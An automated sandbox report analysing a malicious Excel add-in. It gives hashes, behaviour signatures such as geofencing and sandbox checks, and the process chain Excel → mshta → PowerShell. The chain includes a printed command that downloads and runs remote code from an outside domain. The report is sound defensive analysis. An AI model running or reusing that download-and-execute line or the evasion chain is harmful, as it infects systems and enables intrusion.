Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-05-2024 17:17

General

  • Target

    880ebece77c1e7d66731433d310e7e96cd84430c19d3a7c03f6ef39d5183780f.xll

  • Size

    12KB

  • MD5

    50d2a1a05d05b15baf3c4864b5dc329b

  • SHA1

    d681d7e84d9777fc66072a641eae4a4cfb53b7c3

  • SHA256

    880ebece77c1e7d66731433d310e7e96cd84430c19d3a7c03f6ef39d5183780f

  • SHA512

    c0487f6d0754739c07c8fd0c3f137612615a39e131e9eb954e76ae46bf27137f38198585c1ed84d33a16724bd22d05f982e546a47ff727ab4463dcca9f98c706

  • SSDEEP

    192:GL29RBzDzeobchBj8JON2ON1rQrulrEPEjr7AhV:o29jnbcvYJO/HrIulvr7CV

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\880ebece77c1e7d66731433d310e7e96cd84430c19d3a7c03f6ef39d5183780f.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3844
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2164
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2212

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\I3C6LG3F\d[1].htm

    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\880ebece77c1e7d66731433d310e7e96cd84430c19d3a7c03f6ef39d5183780f.xll

    Filesize

    12KB

    MD5

    50d2a1a05d05b15baf3c4864b5dc329b

    SHA1

    d681d7e84d9777fc66072a641eae4a4cfb53b7c3

    SHA256

    880ebece77c1e7d66731433d310e7e96cd84430c19d3a7c03f6ef39d5183780f

    SHA512

    c0487f6d0754739c07c8fd0c3f137612615a39e131e9eb954e76ae46bf27137f38198585c1ed84d33a16724bd22d05f982e546a47ff727ab4463dcca9f98c706

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x0dftdnw.pp3.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2212-65-0x0000000005AF0000-0x0000000005B3C000-memory.dmp

    Filesize

    304KB

  • memory/2212-64-0x0000000005AD0000-0x0000000005AEE000-memory.dmp

    Filesize

    120KB

  • memory/2212-63-0x0000000005500000-0x0000000005854000-memory.dmp

    Filesize

    3.3MB

  • memory/2212-66-0x0000000007160000-0x00000000077DA000-memory.dmp

    Filesize

    6.5MB

  • memory/2212-53-0x0000000005490000-0x00000000054F6000-memory.dmp

    Filesize

    408KB

  • memory/2212-52-0x0000000005420000-0x0000000005486000-memory.dmp

    Filesize

    408KB

  • memory/2212-51-0x0000000004C10000-0x0000000004C32000-memory.dmp

    Filesize

    136KB

  • memory/2212-50-0x0000000004D80000-0x00000000053A8000-memory.dmp

    Filesize

    6.2MB

  • memory/2212-49-0x0000000000D80000-0x0000000000DB6000-memory.dmp

    Filesize

    216KB

  • memory/2212-67-0x0000000005FB0000-0x0000000005FCA000-memory.dmp

    Filesize

    104KB

  • memory/3844-14-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

    Filesize

    2.0MB

  • memory/3844-8-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

    Filesize

    2.0MB

  • memory/3844-17-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

    Filesize

    2.0MB

  • memory/3844-20-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

    Filesize

    2.0MB

  • memory/3844-19-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

    Filesize

    2.0MB

  • memory/3844-18-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

    Filesize

    2.0MB

  • memory/3844-12-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

    Filesize

    2.0MB

  • memory/3844-10-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

    Filesize

    2.0MB

  • memory/3844-16-0x00007FFA0FD80000-0x00007FFA0FD90000-memory.dmp

    Filesize

    64KB

  • memory/3844-13-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

    Filesize

    2.0MB

  • memory/3844-15-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

    Filesize

    2.0MB

  • memory/3844-0-0x00007FFA120D0000-0x00007FFA120E0000-memory.dmp

    Filesize

    64KB

  • memory/3844-11-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

    Filesize

    2.0MB

  • memory/3844-9-0x00007FFA0FD80000-0x00007FFA0FD90000-memory.dmp

    Filesize

    64KB

  • memory/3844-7-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

    Filesize

    2.0MB

  • memory/3844-5-0x00007FFA520ED000-0x00007FFA520EE000-memory.dmp

    Filesize

    4KB

  • memory/3844-6-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

    Filesize

    2.0MB

  • memory/3844-1-0x00007FFA120D0000-0x00007FFA120E0000-memory.dmp

    Filesize

    64KB

  • memory/3844-4-0x00007FFA120D0000-0x00007FFA120E0000-memory.dmp

    Filesize

    64KB

  • memory/3844-3-0x00007FFA120D0000-0x00007FFA120E0000-memory.dmp

    Filesize

    64KB

  • memory/3844-2-0x00007FFA120D0000-0x00007FFA120E0000-memory.dmp

    Filesize

    64KB

  • memory/3844-74-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

    Filesize

    2.0MB

  • memory/3844-90-0x00007FFA120D0000-0x00007FFA120E0000-memory.dmp

    Filesize

    64KB

  • memory/3844-92-0x00007FFA120D0000-0x00007FFA120E0000-memory.dmp

    Filesize

    64KB

  • memory/3844-93-0x00007FFA120D0000-0x00007FFA120E0000-memory.dmp

    Filesize

    64KB

  • memory/3844-91-0x00007FFA120D0000-0x00007FFA120E0000-memory.dmp

    Filesize

    64KB

  • memory/3844-94-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

    Filesize

    2.0MB